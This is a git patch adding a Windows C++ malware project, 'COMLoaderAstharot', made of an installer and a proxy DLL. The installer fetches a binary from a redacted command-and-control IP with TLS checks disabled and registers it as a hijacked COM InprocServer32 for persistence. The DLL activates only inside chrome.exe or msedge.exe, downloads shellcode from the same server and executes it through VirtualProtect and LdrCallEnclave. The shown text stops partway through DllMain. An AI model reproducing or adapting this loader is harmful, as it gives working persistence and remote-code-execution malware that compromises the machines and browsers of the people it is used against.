From 9070acd125797c58dab8c4c9656cdc3faaf47824 Mon Sep 17 00:00:00 2001 From: Astharot15 Date: Sun, 12 Jul 2026 15:22:00 +0200 Subject: [PATCH] COMLoaderAstharot --- .gitignore | 33 +++ COMLoaderAstharot/COMLoaderAstharot.sln | 41 +++ .../COMLoaderAstharot/COMLoaderAstharot.aps | Bin 0 -> 2748 bytes .../COMLoaderAstharot/COMLoaderAstharot.cpp | 121 +++++++++ .../COMLoaderAstharot/COMLoaderAstharot.rc | Bin 0 -> 4632 bytes .../COMLoaderAstharot.vcxproj | 137 ++++++++++ .../COMLoaderAstharot.vcxproj.filters | 32 +++ .../COMLoaderAstharot/resource.h | 14 + .../LoaderAstharotDll/LoaderAstharotDll.aps | Bin 0 -> 2748 bytes .../LoaderAstharotDll/LoaderAstharotDll.rc | Bin 0 -> 4632 bytes .../LoaderAstharotDll.vcxproj | 157 +++++++++++ .../LoaderAstharotDll.vcxproj.filters | 41 +++ .../LoaderAstharotDll/dllmain.cpp | 253 ++++++++++++++++++ .../LoaderAstharotDll/framework.h | 5 + COMLoaderAstharot/LoaderAstharotDll/pch.cpp | 5 + COMLoaderAstharot/LoaderAstharotDll/pch.h | 13 + .../LoaderAstharotDll/resource.h | 14 + 17 files changed, 866 insertions(+) create mode 100644 .gitignore create mode 100644 COMLoaderAstharot/COMLoaderAstharot.sln create mode 100644 COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.aps create mode 100644 COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.cpp create mode 100644 COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.rc create mode 100644 COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj create mode 100644 COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj.filters create mode 100644 COMLoaderAstharot/COMLoaderAstharot/resource.h create mode 100644 COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.aps create mode 100644 COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.rc create mode 100644 COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj create mode 100644 COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj.filters create mode 100644 COMLoaderAstharot/LoaderAstharotDll/dllmain.cpp create mode 100644 COMLoaderAstharot/LoaderAstharotDll/framework.h create mode 100644 COMLoaderAstharot/LoaderAstharotDll/pch.cpp create mode 100644 COMLoaderAstharot/LoaderAstharotDll/pch.h create mode 100644 COMLoaderAstharot/LoaderAstharotDll/resource.h diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..219be83 --- /dev/null +++ b/.gitignore @@ -0,0 +1,33 @@ +## Visual Studio 2022 C++ Cache & Artifacts +.vs/ +[Bb]in/ +[Oo]bj/ +[Dd]ebug/ +[Rr]elease/ +x64/ +x86/ +ARM/ +ARM64/ + +## C++ Compiler and Linker Outputs +*.pch +*.pdb +*.ilk +*.idb +*.obj +*.iobj +*.ipdb +*.tlog +*.lastbuildstate +*.recipe +*.log + +## Backup and Build Log Directories +$SubDir$/ +Generated Files/ +_UpgradeReport_Files/ + +## User-specific settings (Keep vcxproj, but ignore individual user layouts) +*.user +*.suo +*.sln.docstates \ No newline at end of file diff --git a/COMLoaderAstharot/COMLoaderAstharot.sln b/COMLoaderAstharot/COMLoaderAstharot.sln new file mode 100644 index 0000000..2751e5e --- /dev/null +++ b/COMLoaderAstharot/COMLoaderAstharot.sln @@ -0,0 +1,41 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36616.10 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COMLoaderAstharot", "COMLoaderAstharot\COMLoaderAstharot.vcxproj", "{37692E3D-B814-4397-A64E-895A7A879247}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LoaderAstharotDll", "LoaderAstharotDll\LoaderAstharotDll.vcxproj", "{6092E7C5-A3AB-4D96-AFA4-410EBC350092}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {37692E3D-B814-4397-A64E-895A7A879247}.Debug|x64.ActiveCfg = Debug|x64 + {37692E3D-B814-4397-A64E-895A7A879247}.Debug|x64.Build.0 = Debug|x64 + {37692E3D-B814-4397-A64E-895A7A879247}.Debug|x86.ActiveCfg = Debug|Win32 + {37692E3D-B814-4397-A64E-895A7A879247}.Debug|x86.Build.0 = Debug|Win32 + {37692E3D-B814-4397-A64E-895A7A879247}.Release|x64.ActiveCfg = Release|x64 + {37692E3D-B814-4397-A64E-895A7A879247}.Release|x64.Build.0 = Release|x64 + {37692E3D-B814-4397-A64E-895A7A879247}.Release|x86.ActiveCfg = Release|Win32 + {37692E3D-B814-4397-A64E-895A7A879247}.Release|x86.Build.0 = Release|Win32 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x64.ActiveCfg = Debug|x64 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x64.Build.0 = Debug|x64 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x86.ActiveCfg = Debug|Win32 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Debug|x86.Build.0 = Debug|Win32 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x64.ActiveCfg = Release|x64 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x64.Build.0 = Release|x64 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x86.ActiveCfg = Release|Win32 + {6092E7C5-A3AB-4D96-AFA4-410EBC350092}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {01668F62-0538-47AC-B4FB-928F39F0B841} + EndGlobalSection +EndGlobal diff --git a/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.aps b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.aps new file mode 100644 index 0000000000000000000000000000000000000000..ba04a89627fd9a3ac3da375a029b8e15baa33c87 GIT binary patch literal 2748 zcma)8+m72*6kVYK%>Wfu5eVMg(uek8Ql}kmQPq;MJ=Cqo9>q!8L6JfxF`1}o965

`4+v`?$KzW&ok%`DXPn2kG-RMxeDXMcSK)P}IIbzlHAKN8Tt&m6b^?O!HxK>3YdvlETbA#2T87o{ zHl2=zx?Ts7r~3qR&~(ks_O7l|;r+aV+irQznLYPE$nN_`2UcP(-aiBqOfM!g!cvGT zUBBP8TE6YMecRplP{&nNY}4rb?Pl9HaC4`A3p=PNTN(f1;cR~UeCO-%huX>3q0MA% z*Kj%}lT^Dmcy3wgo!3h5o=HU?Xs~+uShpzw^ebu24K&b02MYvRt3TZ5@ai@km z^dLGi7tIyp^yo#hjFH87q>j>0`TFjh)%P7y;4gb>Jj?8ohnQXR^y(73c)Nhl=rtdw zR*LfxY}0#8bM6#9P*|b7N)@B&8kWN>sb-taJ+IZq-FVTm+N~q(#tZv<*K1k$GF}~7 zKFgv^Tn}HzGsE$GixpSmhn91QZ)Kjg<7?WL1xfdd-Im)lyi%(c_RGCag-jRjs9LbU znG-7w3r{)PaCw&;-guLeln=B0m*F3L`d0h+q_g&4OlHIBY7}VK6V|wXnLLC`Z}lY_ z?9U7*CWad2>-Cj0{?7I=E=h)6_~>)A(BjNyH@aL)zWbcZ@3-o||3S`(kBrItftrIC zq`HxB1bqF-^eXhXeSI zMmjf80ouf6@@YWBy@H-b?O5}^()|IS(^nEZW~8CQG*=uHQeS>~pNYPv`h3Bjmn>3? z*td?YjPEYd2@_6;JN8*uToChv@Nol|sW162m98M2W-=?XT#Z_%o17ovW7;}gjg^&D zXU@6^t}&TzN&jV;u$w_<)7ZJX;wZ^=PvP)3wsJaxBgr|bpZLo&a~_YJQOv6&vfYpf z+)d>rM!ueTz2X_|sygO%iq$OE(qxPZZ>@Z766ER465gvS6vFs3p30PO`Q{{Nv%U3e z^(8NJo*xtT1(Mk@y-2L{{s+C{{+~IW@_!Whe*eXIsh{%qTfV#BF>tC={_gJ4&o6BE zRHyvy5Z>Qn`l(Kt_l4iu@5(t{oZp1gUY=_cS1rp!!c2dkYg6VfA-w8)Z|1H40q`)# A(EtDd literal 0 HcmV?d00001 diff --git a/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.cpp b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.cpp new file mode 100644 index 0000000..e174612 --- /dev/null +++ b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.cpp @@ -0,0 +1,121 @@ +#include +#include +#include +#pragma comment(lib, "winhttp.lib") + +struct Shellcode { + byte* data; + DWORD len; +}; + +size_t custom_strlen(const char* str) { + size_t len = 0; + while (str[len]) len++; + return len; +} + +Shellcode Download(LPCWSTR host, INTERNET_PORT port) { + struct Shellcode out = { nullptr, 0 }; + HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; + + hSession = WinHttpOpen(L"redacted header identifier for C2 server", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + + if (hSession) + hConnect = WinHttpConnect(hSession, host, port, 0); + + if (hConnect) + hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/redactedBinaryFile", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); + + if (hRequest) { + DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; + WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); + if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) + if (WinHttpReceiveResponse(hRequest, NULL)) { + + DWORD dwContentLength = 0; + DWORD dwSizeOfSize = sizeof(dwContentLength); + if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &dwContentLength, &dwSizeOfSize, WINHTTP_NO_HEADER_INDEX)) { + + byte* payload = (byte*)malloc(dwContentLength); + if (payload) { + DWORD dwDownloaded = 0; + DWORD totalRead = 0; + + while (totalRead < dwContentLength) { + if (!WinHttpReadData(hRequest, payload + totalRead, dwContentLength - totalRead, &dwDownloaded) || dwDownloaded == 0) { + break; + } + totalRead += dwDownloaded; + } + out.data = payload; + out.len = totalRead; + } + } + } + } + + if (hRequest) WinHttpCloseHandle(hRequest); + if (hConnect) WinHttpCloseHandle(hConnect); + if (hSession) WinHttpCloseHandle(hSession); + + return out; +} + +int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { + HKEY hKey; + char username[UNLEN + 1]; + DWORD username_len = UNLEN + 1; + char fullPath[MAX_PATH]; + + const char* prefix = "C:\\Users\\"; + const char* suffix = "redactedPath"; + + if (!GetUserNameA(username, &username_len)) { + return 1; + } + + size_t prefixLen = custom_strlen(prefix); + size_t userLen = custom_strlen(username); + size_t suffixLen = custom_strlen(suffix); + + char* currentPos = fullPath; + + for (size_t i = 0; i < prefixLen; i++) *currentPos++ = prefix[i]; + for (size_t i = 0; i < userLen; i++) *currentPos++ = username[i]; + for (size_t i = 0; i < suffixLen; i++) *currentPos++ = suffix[i]; + + *currentPos = '\0'; + + Shellcode sc = Download(L"redactedIP", 443); + + if (sc.data != nullptr && sc.len > 0) { + HANDLE hFile = CreateFileA(fullPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile != INVALID_HANDLE_VALUE) { + DWORD dwWritten = 0; + WriteFile(hFile, sc.data, sc.len, &dwWritten, NULL); + CloseHandle(hFile); + } + } + + free(sc.data); + + const char* subKeyPath = "Software\\Classes\\CLSID\\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\\InprocServer32"; + const char* threadingModel = "both"; + + if (RegCreateKeyExA(HKEY_CURRENT_USER, subKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { + + RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, + (const BYTE*)threadingModel, (DWORD)(custom_strlen(threadingModel) + 1)); + + RegSetValueExA(hKey, NULL, 0, REG_SZ, + (const BYTE*)fullPath, (DWORD)(custom_strlen(fullPath) + 1)); + + RegCloseKey(hKey); + } + + return 0; +} diff --git a/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.rc b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.rc new file mode 100644 index 0000000000000000000000000000000000000000..41bf1faf310da378d5bff9365e6b1788117215fe GIT binary patch literal 4632 zcmdUzTWb?R6oAjO;D1=t7mKA$+9E0N1iWnaNZl#z5x4I=~`X$hC}FmE{#rAVcZPgfRm? zXYK);F)Q7Iw;SFAR?2N8x8Ur`b9si8Ju`0sov=FwyJv6<8TwuMDg}eBlv@UGVCagAT|7w_VEBOP30T* z&+(4>p@r3-_&vqyGIpvzs=)Ud>4^M22H%Z;EuHWG&GVSk$Y#d^Uuh-{uzS7SaGrO3 zH*0p<1w?m3{f&uKL=FVBGuy{&59Nbybp+39dRH^f(Ifc(ztK}!unNlZr99*db zFixrKY6>SHgLlX~J4!}kz)61zzY5h}Ci8r*`4o=(iRm3Rw5!uYn$&&(_d7Wtf}!EA zSvj~rIkdY~={Rkw#Md+CWI2@X>HGBJ2tPfHUrgZZNu^SKiU#^w-iPR@&*73L_Ew7< z%>^3zI>h_7U;0>1a(?Y=cWvNT^-KW`=EPg?WVbnxN}6RgL-FTvhm7i}D6* z-WrR(@axxgOq17}+^(BD#8GcK>VpD$>lt^;Ep#G3$h&J+ec*a_6v!3Lnufe%^*)6g zKw+^ztk5T4qVq}xIm!F2t&n`lj>evqS*rCk@N3gaE^*T?E=TE6mT8>z4ly&H8E3p% z#*=k?KgDl)%I-4m82Qo6_g)D85c;u+#w{_^Y#VZqnZw6MO=Ifs=pCnQZXEmAwlA+A zC9|=Vp;@hxT{K+$W4TYa?*dsGyR=;R5yS?_9p za@e!(q3@*Zt!1+;N@}B)>DtXt{bJTz + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {37692e3d-b814-4397-a64e-895a7a879247} + COMLoaderAstharot + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj.filters b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj.filters new file mode 100644 index 0000000..9a5c5e6 --- /dev/null +++ b/COMLoaderAstharot/COMLoaderAstharot/COMLoaderAstharot.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + + + Resource Files + + + \ No newline at end of file diff --git a/COMLoaderAstharot/COMLoaderAstharot/resource.h b/COMLoaderAstharot/COMLoaderAstharot/resource.h new file mode 100644 index 0000000..02b2299 --- /dev/null +++ b/COMLoaderAstharot/COMLoaderAstharot/resource.h @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by COMLoaderAstharot.rc + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.aps b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.aps new file mode 100644 index 0000000000000000000000000000000000000000..a98fb9913abc1f86efd7773479ea56997d5af7ab GIT binary patch literal 2748 zcma)8-HzKt6#ha3+65{q5D4zv(u?+DgVS#Li7Fs#d#PKmy|RKMcXu`&)OP`+6?PZVd=U;7%d^2eS%zk`c(P1pVf1_!CzIu5It~r*$VmpH zXx`40%0n}b!-}LaA2QHOzGWQ0s_;5;99Na(D(2B5SWaO?r&!XRe|pSg|)` zzdqOR)reT05rc*Y3aPBF37xG?%tKnP z6w*}M;7kLz=s|R(FPbaH3F$>vnIcQ^NFJr0%K6-Cj${w~%qF3Ade2+(J1!Dr8AHM$(jdJox`=a>55|3LPL zue90s8`TF7NFCX^-H7m*f*SoTdHT~z&uUI;=m%C9a98Q*JPSI{fX;lMvIXwrL)seD zc}l(*Q2$4wk;;vf`wnrLd|S|PcS}#BcB=Wc()}Kv&{q~aWu&3PG*cXuP+y+1&rDxa zb-rND%PMk<)VGeEg6|&D2@_6;JN4OAT#)jE@No;5sW0naDqTSu7gn~-at%foZjI%L!O^3;k~*-A&fueuEhMx zos;d&?#|Ek7d*^me#}pC);pyaiFMI`&`Zw$Uec-lqsaaJ2jk^_s`t0tyWcW!u2a2t z59sG7mV2&Ky*q^Wcewmqr^@@nZ=E+~pZ-6;38%fd&?e1Vk%xqt{=Cqp%3VTu^|$_; GxBdk-ZOID& literal 0 HcmV?d00001 diff --git a/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.rc b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.rc new file mode 100644 index 0000000000000000000000000000000000000000..ea1f5c98bde64f56ffa015285c37bd0a2322aa27 GIT binary patch literal 4632 zcmdUzZEq4m5Xa}WiQnO*Z)|KV(8j1SCM{5GdM!>)LuMs;!4*hfx-#OP zus&t%ur^^-z8O!qJO|8F+Cc80c_~lj30n5uxWnp*w?n8qjy9L#e<@!i=ctu)$IM=L-qt6DxIo&*hkvkZ04cHf-Nz*4Y?HmAEX&xJQ)6 z@)iH5L`UP$!0V6vp5k>0KQ$f|){ETB8Toq-zPb2%zGVEjFJfkqN5_mB-3%N=v8o!lh&@YGR|lC#assY= zRn@7WCiPW9cN=_#Tq^e`SFn<^fs89q+=lCdao1@LS=CvSvFea&D@GTB<+^;3J!IFR zJ4T!5S*B?7_H4IlW#HZ)<9pTh3Z)L_S9b5c zmi)Z`YW{r0luJ9yCOWcueooRICnwi*u4^#uyZ^$n5*X})R}U}-`Kix z2T+_+*Oeuj00i%WJAW6P#(M2KKki%}>>%jqi39wJ8=~8tthY7 z(pj79P*kgC%ZBCO^gf1vm*^T3ml@wS(^LeLcudl6ipQjs%`vgq;|=%em1I@7i00%z znwxZqWGy$4rga>VBmJt3SCsZ_-$N851u&rf(f3bp@50)}lfGZQXFt|CI=+K$*R%Q` zzx`hK(05Y$)UsV3#jR1#bZ+CnelhDQ^5HLLi)Gx3?Rr)VS0jEzZ_@vC(%;AFysM-? D1H2_V literal 0 HcmV?d00001 diff --git a/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj new file mode 100644 index 0000000..d687163 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj @@ -0,0 +1,157 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {6092e7c5-a3ab-4d96-afa4-410ebc350092} + LoaderAstharotDll + 10.0 + + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + WIN32;NDEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + _DEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + NDEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + + + Windows + true + false + + + + + + + + + + + Create + Create + Create + Create + + + + + + + + + \ No newline at end of file diff --git a/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj.filters b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj.filters new file mode 100644 index 0000000..1a28e19 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/LoaderAstharotDll.vcxproj.filters @@ -0,0 +1,41 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + + + Resource Files + + + \ No newline at end of file diff --git a/COMLoaderAstharot/LoaderAstharotDll/dllmain.cpp b/COMLoaderAstharot/LoaderAstharotDll/dllmain.cpp new file mode 100644 index 0000000..b337df3 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/dllmain.cpp @@ -0,0 +1,253 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +// {9FC8E510-A27C-4B3B-B9A3-BF65F00256A8} +#include +#include +//#include +#include +#pragma comment(lib, "winhttp.lib") + +#include +#pragma comment(lib, "Shlwapi.lib") + +//#pragma comment(lib, "wininet.lib") + +#define PAYLOAD_EVENT_NAME L"\\RedactedEventName" + +#pragma comment(linker,"/export:DllCanUnloadNow=DataExchange_orig.DllCanUnloadNow,@1") +#pragma comment(linker,"/export:DllGetActivationFactory=DataExchange_orig.DllGetActivationFactory,@2") +#pragma comment(linker,"/export:DllGetClassObject=DataExchange_orig.DllGetClassObject,@3") + +typedef NTSTATUS(NTAPI* fnLdrCallEnclave)( + PVOID Routine, + ULONG Flags, + PVOID* RoutineParamReturn + ); + +struct Shellcode { + byte* data; + DWORD len; +}; + +HANDLE hPayloadEvent = NULL; + +BOOL IsTargetProcess() { + WCHAR szPath[MAX_PATH]; + + if (GetModuleFileNameW(NULL, szPath, MAX_PATH) == 0) { + return FALSE; + } + + if (StrStrIW(szPath, L"chrome.exe") != NULL || + StrStrIW(szPath, L"msedge.exe") != NULL) { + return TRUE; + } + + return FALSE; +} + +BOOL isPayloadRunning() { + hPayloadEvent = CreateEventW(NULL, TRUE, FALSE, PAYLOAD_EVENT_NAME); + + if (hPayloadEvent == NULL) { + return FALSE; + } + + if (GetLastError() == ERROR_ALREADY_EXISTS) { + CloseHandle(hPayloadEvent); + hPayloadEvent = NULL; + return TRUE; + } + + return FALSE; +} + +Shellcode Download(LPCWSTR host, INTERNET_PORT port) { + struct Shellcode out = { nullptr, 0 }; + HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; + + hSession = WinHttpOpen(L"redacted header identifier for C2 server", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + + if (hSession) + hConnect = WinHttpConnect(hSession, host, port, 0); + + if (hConnect) + hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/redactedBinaryFile", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); + + if (hRequest) { + DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; + WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); + if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) + if (WinHttpReceiveResponse(hRequest, NULL)) { + + DWORD dwContentLength = 0; + DWORD dwSizeOfSize = sizeof(dwContentLength); + if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &dwContentLength, &dwSizeOfSize, WINHTTP_NO_HEADER_INDEX)) { + + byte* payload = (byte*)malloc(dwContentLength); + if (payload) { + DWORD dwDownloaded = 0; + DWORD totalRead = 0; + + while (totalRead < dwContentLength) { + if (!WinHttpReadData(hRequest, payload + totalRead, dwContentLength - totalRead, &dwDownloaded) || dwDownloaded == 0) { + break; + } + totalRead += dwDownloaded; + } + out.data = payload; + out.len = totalRead; + } + } + } + } + + if (hRequest) WinHttpCloseHandle(hRequest); + if (hConnect) WinHttpCloseHandle(hConnect); + if (hSession) WinHttpCloseHandle(hSession); + + return out; +} + +/* +Shellcode Download(LPCWSTR host, INTERNET_PORT port) { + HINTERNET session = InternetOpen( + L"", + INTERNET_OPEN_TYPE_PRECONFIG, + NULL, + NULL, + 0); + + HINTERNET connection = InternetConnect( + session, + host, + port, + L"", + L"", + INTERNET_SERVICE_HTTP, + 0, + 0); + + HINTERNET request = HttpOpenRequest( + connection, + L"GET", + L"/test.woff", + NULL, + NULL, + NULL, + 0, + 0); + + WORD counter = 0; + while (!HttpSendRequest(request, NULL, 0, 0, 0)) { + //printf("Error sending HTTP request: : (%lu)\n", GetLastError()); // only for debugging + + counter++; + Sleep(3000); + if (counter >= 3) { + break; // HTTP requests eventually failed + } + } + + DWORD bufSize = BUFSIZ; + byte* buffer = new byte[bufSize]; + + DWORD capacity = bufSize; + byte* payload = (byte*)malloc(capacity); + + DWORD payloadSize = 0; + + while (true) { + DWORD bytesRead; + + if (!InternetReadFile(request, buffer, bufSize, &bytesRead)) { + //printf("Error reading internet file : <%lu>\n", GetLastError()); // only for debugging + break; + } + + if (bytesRead == 0) break; + + if (payloadSize + bytesRead > capacity) { + capacity *= 2; + byte* newPayload = (byte*)realloc(payload, capacity); + payload = newPayload; + } + + for (DWORD i = 0; i < bytesRead; i++) { + payload[payloadSize++] = buffer[i]; + } + + } + byte* newPayload = (byte*)realloc(payload, payloadSize); + + InternetCloseHandle(request); + InternetCloseHandle(connection); + InternetCloseHandle(session); + + struct Shellcode out; + out.data = payload; + out.len = payloadSize; + return out; +} +*/ + +BOOL executeShellcode() { + + Shellcode shellcode = Download(L"redactedIP", 443); + + if (shellcode.data == NULL || shellcode.len == 0) { + return FALSE; + } + + size_t sShellcode = shellcode.len; + + PVOID pShellcode = VirtualAlloc(NULL, sShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (pShellcode == NULL) { + free(shellcode.data); + return FALSE; + } + + memcpy(pShellcode, shellcode.data, sShellcode); + free(shellcode.data); + + DWORD dwOldProtect = NULL; + + if (!VirtualProtect(pShellcode, sShellcode, PAGE_EXECUTE, &dwOldProtect)) { + VirtualFree(pShellcode, 0, MEM_RELEASE); + return FALSE; + } + + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (hNtdll) { + fnLdrCallEnclave pLdrCallEnclave = (fnLdrCallEnclave)GetProcAddress(hNtdll, "LdrCallEnclave"); + + if (pLdrCallEnclave) { + PVOID routineParam = NULL; + pLdrCallEnclave(pShellcode, 0, &routineParam); + } + } + + return TRUE; +} + +BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved +) +{ + if (ul_reason_for_call == DLL_PROCESS_ATTACH && !isPayloadRunning() && IsTargetProcess()) { + HMODULE hPinned; + GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_PIN, + (LPCWSTR)hModule, &hPinned); + 